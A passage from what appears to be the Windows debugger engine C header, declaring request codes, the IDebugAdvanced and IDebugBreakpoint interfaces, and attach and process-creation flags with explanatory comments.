Reserved1;\n ULONG64 Reserved2[2];\n // Completions follow.\n // Completion data is zero-terminated strings ended\n // by a final zero double-terminator.\n} DEBUG_GET_TEXT_COMPLETIONS_OUT, *PDEBUG_GET_TEXT_COMPLETIONS_OUT;\n\ntypedef struct _DEBUG_CACHED_SYMBOL_INFO\n{\n ULONG64 ModBase;\n ULONG64 Arg1;\n ULONG64 Arg2;\n ULONG Id;\n ULONG Arg3;\n} DEBUG_CACHED_SYMBOL_INFO, *PDEBUG_CACHED_SYMBOL_INFO;\n\n//\n// Request requests.\n//\n\n// InBuffer - Unused.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_SOURCE_PATH_HAS_SOURCE_SERVER 0\n\n// InBuffer - Unused.\n// OutBuffer - Machine-specific CONTEXT.\n#define DEBUG_REQUEST_TARGET_EXCEPTION_CONTEXT 1\n\n// InBuffer - Unused.\n// OutBuffer - ULONG system ID of thread.\n#define DEBUG_REQUEST_TARGET_EXCEPTION_THREAD 2\n\n// InBuffer - Unused.\n// OutBuffer - EXCEPTION_RECORD64.\n#define DEBUG_REQUEST_TARGET_EXCEPTION_RECORD 3\n\n// InBuffer - Unused.\n// OutBuffer - DEBUG_CREATE_PROCESS_OPTIONS.\n#define DEBUG_REQUEST_GET_ADDITIONAL_CREATE_OPTIONS 4\n\n// InBuffer - DEBUG_CREATE_PROCESS_OPTIONS.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_SET_ADDITIONAL_CREATE_OPTIONS 5\n\n// InBuffer - Unused.\n// OutBuffer - ULONG[2] major/minor.\n#define DEBUG_REQUEST_GET_WIN32_MAJOR_MINOR_VERSIONS 6\n\n// InBuffer - DEBUG_READ_USER_MINIDUMP_STREAM.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_READ_USER_MINIDUMP_STREAM 7\n\n// InBuffer - Unused.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_TARGET_CAN_DETACH 8\n\n// InBuffer - PTSTR.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_SET_LOCAL_IMPLICIT_COMMAND_LINE 9\n\n// InBuffer - Unused.\n// OutBuffer - Event code stream offset.\n#define DEBUG_REQUEST_GET_CAPTURED_EVENT_CODE_OFFSET 10\n\n// InBuffer - Unused.\n// OutBuffer - Event code stream information.\n#define DEBUG_REQUEST_READ_CAPTURED_EVENT_CODE_STREAM 11\n\n// InBuffer - Input data block.\n// OutBuffer - Processed data block.\n#define DEBUG_REQUEST_EXT_TYPED_DATA_ANSI 12\n\n// InBuffer - Unused.\n// OutBuffer - Returned path.\n#define DEBUG_REQUEST_GET_EXTENSION_SEARCH_PATH_WIDE 13\n\n// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN.\n// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT.\n#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_WIDE 14\n\n// InBuffer - ULONG64 cookie.\n// OutBuffer - DEBUG_CACHED_SYMBOL_INFO.\n#define DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO 15\n\n// InBuffer - DEBUG_CACHED_SYMBOL_INFO.\n// OutBuffer - ULONG64 cookie.\n#define DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO 16\n\n// InBuffer - ULONG64 cookie.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_REMOVE_CACHED_SYMBOL_INFO 17\n\n// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN.\n// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT.\n#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_ANSI 18\n\n// InBuffer - Unused.\n// OutBuffer - Unused.\n#define DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE 19\n\n// InBuffer - ULONG64 offset.\n// OutBuffer - Unwind information.\n#define DEBUG_REQUEST_GET_OFFSET_UNWIND_INFORMATION 20\n\n// InBuffer - Unused\n// OutBuffer - returned DUMP_HEADER32/DUMP_HEADER64 structure.\n#define DEBUG_REQUEST_GET_DUMP_HEADER 21\n\n// InBuffer - DUMP_HEADER32/DUMP_HEADER64 structure.\n// OutBuffer - Unused\n#define DEBUG_REQUEST_SET_DUMP_HEADER 22\n\n// InBuffer - Midori specific\n// OutBuffer - Midori specific\n#define DEBUG_REQUEST_MIDORI 23\n\n// InBuffer - Unused\n// OutBuffer - PROCESS_NAME_ENTRY blocks\n#define DEBUG_REQUEST_PROCESS_DESCRIPTORS 24\n\n// InBuffer - Unused\n// OutBuffer - MINIDUMP_MISC_INFO_N blocks\n#define DEBUG_REQUEST_MISC_INFORMATION 25\n\n// InBuffer - Unused\n// OutBuffer - ULONG64 as TokenHandle value\n#define DEBUG_REQUEST_OPEN_PROCESS_TOKEN 26\n\n// InBuffer - Unused\n// OutBuffer - ULONG64 as TokenHandle value\n#define DEBUG_REQUEST_OPEN_THREAD_TOKEN 27\n\n// InBuffer - ULONG64 as TokenHandle being duplicated\n// OutBuffer - ULONG64 as new duplicated TokenHandle\n#define DEBUG_REQUEST_DUPLICATE_TOKEN 28\n\n// InBuffer - a ULONG64 as TokenHandle and a ULONG as NtQueryInformationToken() request code\n// OutBuffer - NtQueryInformationToken() return\n#define DEBUG_REQUEST_QUERY_INFO_TOKEN 29\n\n// InBuffer - ULONG64 as TokenHandle\n// OutBuffer - Unused\n#define DEBUG_REQUEST_CLOSE_TOKEN 30\n\n\n\n//\n// GetSourceFileInformation requests.\n//\n\n// Arg64 - Module base.\n// Arg32 - Unused.\n#define DEBUG_SRCFILE_SYMBOL_TOKEN 0\n\n// Arg64 - Module base.\n// Arg32 - Unused.\n#define DEBUG_SRCFILE_SYMBOL_TOKEN_SOURCE_COMMAND_WIDE 1\n\n//\n// GetSymbolInformation requests.\n//\n\n// Arg64 - Unused.\n// Arg32 - Breakpoint ID.\n// Buffer - ULONG line number.\n// String - File name.\n#define DEBUG_SYMINFO_BREAKPOINT_SOURCE_LINE 0\n\n// Arg64 - Module base.\n// Arg32 - Unused.\n// Buffer - IMAGEHLP_MODULEW64.\n// String - Unused.\n#define DEBUG_SYMINFO_IMAGEHLP_MODULEW64 1\n\n// Arg64 - Offset.\n// Arg32 - Symbol tag.\n// Buffer - Unicode symbol name strings. Could have multiple strings.\n// String - Unused, strings are returned in Buffer as there\n// may be more than one.\n#define DEBUG_SYMINFO_GET_SYMBOL_NAME_BY_OFFSET_AND_TAG_WIDE 2\n\n// Arg64 - Module base.\n// Arg32 - Symbol tag.\n// Buffer - Array of symbol addresses.\n// String - Concatenated symbol strings. Individual symbol\n// strings are zero-terminated and the final string in\n// a symbol is double-zero-terminated.\n#define DEBUG_SYMINFO_GET_MODULE_SYMBOL_NAMES_AND_OFFSETS 3\n\n//\n// GetSystemObjectInformation requests.\n//\n\n// Arg64 - Unused.\n// Arg32 - Debugger thread ID.\n// Buffer - DEBUG_THREAD_BASIC_INFORMATION.\n#define DEBUG_SYSOBJINFO_THREAD_BASIC_INFORMATION 0\n\n// Arg64 - Unused.\n// Arg32 - Debugger thread ID.\n// Buffer - Unicode name string.\n#define DEBUG_SYSOBJINFO_THREAD_NAME_WIDE 1\n\n// Arg64 - Unused.\n// Arg32 - Unused.\n// Buffer - ULONG cookie value.\n#define DEBUG_SYSOBJINFO_CURRENT_PROCESS_COOKIE 2\n\n#define DEBUG_TBINFO_EXIT_STATUS 0x00000001\n#define DEBUG_TBINFO_PRIORITY_CLASS 0x00000002\n#define DEBUG_TBINFO_PRIORITY 0x00000004\n#define DEBUG_TBINFO_TIMES 0x00000008\n#define DEBUG_TBINFO_START_OFFSET 0x00000010\n#define DEBUG_TBINFO_AFFINITY 0x00000020\n#define DEBUG_TBINFO_ALL 0x0000003f\n\ntypedef struct _DEBUG_THREAD_BASIC_INFORMATION\n{\n // Valid members have a DEBUG_TBINFO bit set in Valid.\n ULONG Valid;\n ULONG ExitStatus;\n ULONG PriorityClass;\n ULONG Priority;\n ULONG64 CreateTime;\n ULONG64 ExitTime;\n ULONG64 KernelTime;\n ULONG64 UserTime;\n ULONG64 StartOffset;\n ULONG64 Affinity;\n} DEBUG_THREAD_BASIC_INFORMATION, *PDEBUG_THREAD_BASIC_INFORMATION;\n\n#undef INTERFACE\n#define INTERFACE IDebugAdvanced2\nDECLARE_INTERFACE_(IDebugAdvanced2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugAdvanced.\n\n // Get/SetThreadContext offer control over\n // the full processor context for a thread.\n // Higher-level functions, such as the\n // IDebugRegisters interface, allow similar\n // access in simpler and more generic ways.\n // Get/SetThreadContext are useful when\n // large amounts of thread context must\n // be changed and processor-specific code\n // is not a problem.\n STDMETHOD(GetThreadContext)(\n THIS_\n __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n STDMETHOD(SetThreadContext)(\n THIS_\n __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n\n // IDebugAdvanced2.\n\n //\n // Generalized open-ended methods for querying\n // and manipulation. The open-ended nature of\n // these methods makes it easy to add new requests,\n // although at a cost in convenience of calling.\n // Sufficiently common requests may have more specific,\n // simpler methods elsewhere.\n //\n\n STDMETHOD(Request)(\n THIS_\n __in ULONG Request,\n __in_bcount_opt(InBufferSize) PVOID InBuffer,\n __in ULONG InBufferSize,\n __out_bcount_opt(OutBufferSize) PVOID OutBuffer,\n __in ULONG OutBufferSize,\n __out_opt PULONG OutSize\n ) PURE;\n\n STDMETHOD(GetSourceFileInformation)(\n THIS_\n __in ULONG Which,\n __in PSTR SourceFile,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n STDMETHOD(FindSourceFileAndToken)(\n THIS_\n __in ULONG StartElement,\n __in ULONG64 ModAddr,\n __in PCSTR File,\n __in ULONG Flags,\n __in_bcount_opt(FileTokenSize) PVOID FileToken,\n __in ULONG FileTokenSize,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n\n STDMETHOD(GetSymbolInformation)(\n THIS_\n __in ULONG Which,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize,\n __out_ecount_opt(StringBufferSize) PSTR StringBuffer,\n __in ULONG StringBufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n\n STDMETHOD(GetSystemObjectInformation)(\n THIS_\n __in ULONG Which,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugAdvanced3\nDECLARE_INTERFACE_(IDebugAdvanced3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugAdvanced.\n\n // Get/SetThreadContext offer control over\n // the full processor context for a thread.\n // Higher-level functions, such as the\n // IDebugRegisters interface, allow similar\n // access in simpler and more generic ways.\n // Get/SetThreadContext are useful when\n // large amounts of thread context must\n // be changed and processor-specific code\n // is not a problem.\n STDMETHOD(GetThreadContext)(\n THIS_\n __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n STDMETHOD(SetThreadContext)(\n THIS_\n __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n\n // IDebugAdvanced2.\n\n //\n // Generalized open-ended methods for querying\n // and manipulation. The open-ended nature of\n // these methods makes it easy to add new requests,\n // although at a cost in convenience of calling.\n // Sufficiently common requests may have more specific,\n // simpler methods elsewhere.\n //\n\n STDMETHOD(Request)(\n THIS_\n __in ULONG Request,\n __in_bcount_opt(InBufferSize) PVOID InBuffer,\n __in ULONG InBufferSize,\n __out_bcount_opt(OutBufferSize) PVOID OutBuffer,\n __in ULONG OutBufferSize,\n __out_opt PULONG OutSize\n ) PURE;\n\n STDMETHOD(GetSourceFileInformation)(\n THIS_\n __in ULONG Which,\n __in PSTR SourceFile,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n STDMETHOD(FindSourceFileAndToken)(\n THIS_\n __in ULONG StartElement,\n __in ULONG64 ModAddr,\n __in PCSTR File,\n __in ULONG Flags,\n __in_bcount_opt(FileTokenSize) PVOID FileToken,\n __in ULONG FileTokenSize,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n\n STDMETHOD(GetSymbolInformation)(\n THIS_\n __in ULONG Which,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize,\n __out_ecount_opt(StringBufferSize) PSTR StringBuffer,\n __in ULONG StringBufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n\n STDMETHOD(GetSystemObjectInformation)(\n THIS_\n __in ULONG Which,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n\n // IDebugAdvanced3.\n\n STDMETHOD(GetSourceFileInformationWide)(\n THIS_\n __in ULONG Which,\n __in PWSTR SourceFile,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize\n ) PURE;\n STDMETHOD(FindSourceFileAndTokenWide)(\n THIS_\n __in ULONG StartElement,\n __in ULONG64 ModAddr,\n __in PCWSTR File,\n __in ULONG Flags,\n __in_bcount_opt(FileTokenSize) PVOID FileToken,\n __in ULONG FileTokenSize,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n\n STDMETHOD(GetSymbolInformationWide)(\n THIS_\n __in ULONG Which,\n __in ULONG64 Arg64,\n __in ULONG Arg32,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InfoSize,\n __out_ecount_opt(StringBufferSize) PWSTR StringBuffer,\n __in ULONG StringBufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugBreakpoint.\n//\n//----------------------------------------------------------------------------\n\n// Types of breakpoints.\n#define DEBUG_BREAKPOINT_CODE 0\n#define DEBUG_BREAKPOINT_DATA 1\n#define DEBUG_BREAKPOINT_TIME 2\n\n// Breakpoint flags.\n// Go-only breakpoints are only active when\n// the engine is in unrestricted execution\n// mode. They do not fire when the engine\n// is stepping.\n#define DEBUG_BREAKPOINT_GO_ONLY 0x00000001\n// A breakpoint is flagged as deferred as long as\n// its offset expression cannot be evaluated.\n// A deferred breakpoint is not active.\n#define DEBUG_BREAKPOINT_DEFERRED 0x00000002\n#define DEBUG_BREAKPOINT_ENABLED 0x00000004\n// The adder-only flag does not affect breakpoint\n// operation. It is just a marker to restrict\n// output and notifications for the breakpoint to\n// the client that added the breakpoint. Breakpoint\n// callbacks for adder-only breaks will only be delivered\n// to the adding client. The breakpoint can not\n// be enumerated and accessed by other clients.\n#define DEBUG_BREAKPOINT_ADDER_ONLY 0x00000008\n// One-shot breakpoints automatically clear themselves\n// the first time they are hit.\n#define DEBUG_BREAKPOINT_ONE_SHOT 0x00000010\n\n// Data breakpoint access types.\n// Different architectures support different\n// sets of these bits.\n#define DEBUG_BREAK_READ 0x00000001\n#define DEBUG_BREAK_WRITE 0x00000002\n#define DEBUG_BREAK_EXECUTE 0x00000004\n#define DEBUG_BREAK_IO 0x00000008\n\n// Structure for querying breakpoint information\n// all at once.\ntypedef struct _DEBUG_BREAKPOINT_PARAMETERS\n{\n ULONG64 Offset;\n ULONG Id;\n ULONG BreakType;\n ULONG ProcType;\n ULONG Flags;\n ULONG DataSize;\n ULONG DataAccessType;\n ULONG PassCount;\n ULONG CurrentPassCount;\n ULONG MatchThread;\n ULONG CommandSize;\n ULONG OffsetExpressionSize;\n} DEBUG_BREAKPOINT_PARAMETERS, *PDEBUG_BREAKPOINT_PARAMETERS;\n\n#undef INTERFACE\n#define INTERFACE IDebugBreakpoint\nDECLARE_INTERFACE_(IDebugBreakpoint, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugBreakpoint.\n\n // Retrieves debugger engine unique ID\n // for the breakpoint. This ID is\n // fixed as long as the breakpoint exists\n // but after that may be reused.\n STDMETHOD(GetId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Retrieves the type of break and\n // processor type for the breakpoint.\n STDMETHOD(GetType)(\n THIS_\n __out PULONG BreakType,\n __out PULONG ProcType\n ) PURE;\n // Returns the client that called AddBreakpoint.\n STDMETHOD(GetAdder)(\n THIS_\n __out PDEBUG_CLIENT* Adder\n ) PURE;\n\n STDMETHOD(GetFlags)(\n THIS_\n __out PULONG Flags\n ) PURE;\n // Only certain flags can be changed. Flags\n // are: GO_ONLY, ENABLE.\n // Sets the given flags.\n STDMETHOD(AddFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Clears the given flags.\n STDMETHOD(RemoveFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Sets the flags.\n STDMETHOD(SetFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n\n // Controls the offset of the breakpoint. The\n // interpretation of the offset value depends on\n // the type of breakpoint and its settings. It\n // may be a code address, a data address, an\n // I/O port, etc.\n STDMETHOD(GetOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n\n // Data breakpoint methods will fail if the\n // target platform does not support the\n // parameters used.\n // These methods only function for breakpoints\n // created as data breakpoints.\n STDMETHOD(GetDataParameters)(\n THIS_\n __out PULONG Size,\n __out PULONG AccessType\n ) PURE;\n STDMETHOD(SetDataParameters)(\n THIS_\n __in ULONG Size,\n __in ULONG AccessType\n ) PURE;\n\n // Pass count defaults to one.\n STDMETHOD(GetPassCount)(\n THIS_\n __out PULONG Count\n ) PURE;\n STDMETHOD(SetPassCount)(\n THIS_\n __in ULONG Count\n ) PURE;\n // Gets the current number of times\n // the breakpoint has been hit since\n // it was last triggered.\n STDMETHOD(GetCurrentPassCount)(\n THIS_\n __out PULONG Count\n ) PURE;\n\n // If a match thread is set this breakpoint will\n // only trigger if it occurs on the match thread.\n // Otherwise it triggers for all threads.\n // Thread restrictions are not currently supported\n // in kernel mode.\n STDMETHOD(GetMatchThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetMatchThreadId)(\n THIS_\n __in ULONG Thread\n ) PURE;\n\n // The command for a breakpoint is automatically\n // executed by the engine before the event\n // is propagated. If the breakpoint continues\n // execution the event will begin with a continue\n // status. If the breakpoint does not continue\n // the event will begin with a break status.\n // This allows breakpoint commands to participate\n // in the normal event status voting.\n // Breakpoint commands are only executed until\n // the first command that alters the execution\n // status, such as g, p and t.\n STDMETHOD(GetCommand)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetCommand)(\n THIS_\n __in PCSTR Command\n ) PURE;\n\n // Offset expressions are evaluated immediately\n // and at module load and unload events. If the\n // evaluation is successful the breakpoints\n // offset is updated and the breakpoint is\n // handled normally. If the expression cannot\n // be evaluated the breakpoint is deferred.\n // Currently the only offset expression\n // supported is a module-relative symbol\n // of the form !.\n STDMETHOD(GetOffsetExpression)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExpressionSize\n ) PURE;\n STDMETHOD(SetOffsetExpression)(\n THIS_\n __in PCSTR Expression\n ) PURE;\n\n STDMETHOD(GetParameters)(\n THIS_\n __out PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugBreakpoint2\nDECLARE_INTERFACE_(IDebugBreakpoint2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugBreakpoint.\n\n // Retrieves debugger engine unique ID\n // for the breakpoint. This ID is\n // fixed as long as the breakpoint exists\n // but after that may be reused.\n STDMETHOD(GetId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Retrieves the type of break and\n // processor type for the breakpoint.\n STDMETHOD(GetType)(\n THIS_\n __out PULONG BreakType,\n __out PULONG ProcType\n ) PURE;\n // Returns the client that called AddBreakpoint.\n STDMETHOD(GetAdder)(\n THIS_\n __out PDEBUG_CLIENT* Adder\n ) PURE;\n\n STDMETHOD(GetFlags)(\n THIS_\n __out PULONG Flags\n ) PURE;\n // Only certain flags can be changed. Flags\n // are: GO_ONLY, ENABLE.\n // Sets the given flags.\n STDMETHOD(AddFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Clears the given flags.\n STDMETHOD(RemoveFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Sets the flags.\n STDMETHOD(SetFlags)(\n THIS_\n __in ULONG Flags\n ) PURE;\n\n // Controls the offset of the breakpoint. The\n // interpretation of the offset value depends on\n // the type of breakpoint and its settings. It\n // may be a code address, a data address, an\n // I/O port, etc.\n STDMETHOD(GetOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n\n // Data breakpoint methods will fail if the\n // target platform does not support the\n // parameters used.\n // These methods only function for breakpoints\n // created as data breakpoints.\n STDMETHOD(GetDataParameters)(\n THIS_\n __out PULONG Size,\n __out PULONG AccessType\n ) PURE;\n STDMETHOD(SetDataParameters)(\n THIS_\n __in ULONG Size,\n __in ULONG AccessType\n ) PURE;\n\n // Pass count defaults to one.\n STDMETHOD(GetPassCount)(\n THIS_\n __out PULONG Count\n ) PURE;\n STDMETHOD(SetPassCount)(\n THIS_\n __in ULONG Count\n ) PURE;\n // Gets the current number of times\n // the breakpoint has been hit since\n // it was last triggered.\n STDMETHOD(GetCurrentPassCount)(\n THIS_\n __out PULONG Count\n ) PURE;\n\n // If a match thread is set this breakpoint will\n // only trigger if it occurs on the match thread.\n // Otherwise it triggers for all threads.\n // Thread restrictions are not currently supported\n // in kernel mode.\n STDMETHOD(GetMatchThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetMatchThreadId)(\n THIS_\n __in ULONG Thread\n ) PURE;\n\n // The command for a breakpoint is automatically\n // executed by the engine before the event\n // is propagated. If the breakpoint continues\n // execution the event will begin with a continue\n // status. If the breakpoint does not continue\n // the event will begin with a break status.\n // This allows breakpoint commands to participate\n // in the normal event status voting.\n // Breakpoint commands are only executed until\n // the first command that alters the execution\n // status, such as g, p and t.\n STDMETHOD(GetCommand)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetCommand)(\n THIS_\n __in PCSTR Command\n ) PURE;\n\n // Offset expressions are evaluated immediately\n // and at module load and unload events. If the\n // evaluation is successful the breakpoints\n // offset is updated and the breakpoint is\n // handled normally. If the expression cannot\n // be evaluated the breakpoint is deferred.\n // Currently the only offset expression\n // supported is a module-relative symbol\n // of the form !.\n STDMETHOD(GetOffsetExpression)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExpressionSize\n ) PURE;\n STDMETHOD(SetOffsetExpression)(\n THIS_\n __in PCSTR Expression\n ) PURE;\n\n STDMETHOD(GetParameters)(\n THIS_\n __out PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n\n // IDebugBreakpoint2.\n\n STDMETHOD(GetCommandWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetCommandWide)(\n THIS_\n __in PCWSTR Command\n ) PURE;\n\n STDMETHOD(GetOffsetExpressionWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExpressionSize\n ) PURE;\n STDMETHOD(SetOffsetExpressionWide)(\n THIS_\n __in PCWSTR Expression\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugClient.\n//\n//----------------------------------------------------------------------------\n\n// Kernel attach flags.\n#define DEBUG_ATTACH_KERNEL_CONNECTION 0x00000000\n// Attach to the local machine. If this flag is not set\n// a connection is made to a separate target machine using\n// the given connection options.\n#define DEBUG_ATTACH_LOCAL_KERNEL 0x00000001\n// Attach to an eXDI driver.\n#define DEBUG_ATTACH_EXDI_DRIVER 0x00000002\n\n// GetRunningProcessSystemIdByExecutableName flags.\n// By default the match allows a tail match on\n// just the filename. The match returns the first hit\n// even if multiple matches exist.\n#define DEBUG_GET_PROC_DEFAULT 0x00000000\n// The name must match fully.\n#define DEBUG_GET_PROC_FULL_MATCH 0x00000001\n// The match must be the only match.\n#define DEBUG_GET_PROC_ONLY_MATCH 0x00000002\n// The name is a service name instead of an executable name.\n#define DEBUG_GET_PROC_SERVICE_NAME 0x00000004\n\n// GetRunningProcessDescription flags.\n#define DEBUG_PROC_DESC_DEFAULT 0x00000000\n// Return only filenames, not full paths.\n#define DEBUG_PROC_DESC_NO_PATHS 0x00000001\n// Dont look up service names.\n#define DEBUG_PROC_DESC_NO_SERVICES 0x00000002\n// Dont look up MTS package names.\n#define DEBUG_PROC_DESC_NO_MTS_PACKAGES 0x00000004\n// Dont retrieve the command line.\n#define DEBUG_PROC_DESC_NO_COMMAND_LINE 0x00000008\n// Dont retrieve the session ID.\n#define DEBUG_PROC_DESC_NO_SESSION_ID 0x00000010\n// Dont retrieve the process's user name.\n#define DEBUG_PROC_DESC_NO_USER_NAME 0x00000020\n\n//\n// Attach flags.\n//\n\n// Call DebugActiveProcess when attaching.\n#define DEBUG_ATTACH_DEFAULT 0x00000000\n// When attaching to a process just examine\n// the process state and suspend the threads.\n// DebugActiveProcess is not called so the process\n// is not actually being debugged. This is useful\n// for debugging processes holding locks which\n// interfere with the operation of DebugActiveProcess\n// or in situations where it is not desirable to\n// actually set up as a debugger.\n#define DEBUG_ATTACH_NONINVASIVE 0x00000001\n// Attempt to attach to a process that was abandoned\n// when being debugged. This is only supported in\n// some system versions.\n// This flag also allows multiple debuggers to\n// attach to the same process, which can result\n// in numerous problems unless very carefully\n// managed.\n#define DEBUG_ATTACH_EXISTING 0x00000002\n// When attaching non-invasively, do not suspend\n// threads. It is the callers responsibility\n// to either suspend the threads itself or be\n// aware that the attach state may not reflect\n// the current state of the process if threads\n// are still running.\n#define DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND 0x00000004\n// When doing an invasive attach do not inject\n// a break-in thread to generate the initial break-in\n// event. This can be useful to save resources when\n// an initial break is not necessary or when injecting\n// a thread might affect the debuggee's state. This\n// option is only supported on Windows XP and above.\n#define DEBUG_ATTACH_INVASIVE_NO_INITIAL_BREAK 0x00000008\n// When doing an invasive attach resume all threads at the\n// time of attach. This makes it possible to attach\n// to a process created suspended and cause it to start running.\n#define DEBUG_ATTACH_INVASIVE_RESUME_PROCESS 0x00000010\n// When doing a non-invasive attach the engine must\n// recover information for all debuggee elements. The\n// engine may not have permissions for all elements,\n// for example it may not be able to open all threads,\n// and that would ordinarily block the attach. This\n// flag allows unusable elements to be ignored.\n#define DEBUG_ATTACH_NONINVASIVE_ALLOW_PARTIAL 0x00000020\n\n\n//\n// Process creation flags to merge with Win32 flags.\n//\n\n// On Windows XP this flag prevents the debug\n// heap from being used in the new process.\n#define DEBUG_CREATE_PROCESS_NO_DEBUG_HEAP CREATE_UNICODE_ENVIRONMENT\n// Indicates that the native NT RTL process creation\n// routines should be used instead of Win32. This\n// is only meaningful for special processes that run\n// as NT native processes.\n#define DEBUG_CREATE_PROCESS_THROUGH_RTL STACK_SIZE_PARAM_IS_A_RESERVATION\n\n//\n// Process creation flags specific to the debugger engine.\n//\n\n#define DEBUG_ECREATE_PROCESS_DEFAULT 0x00000000\n#define DEBUG_ECREATE_PROCESS_INHERIT_HANDLES 0x00000001\n#define DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS 0x00000002\n#define 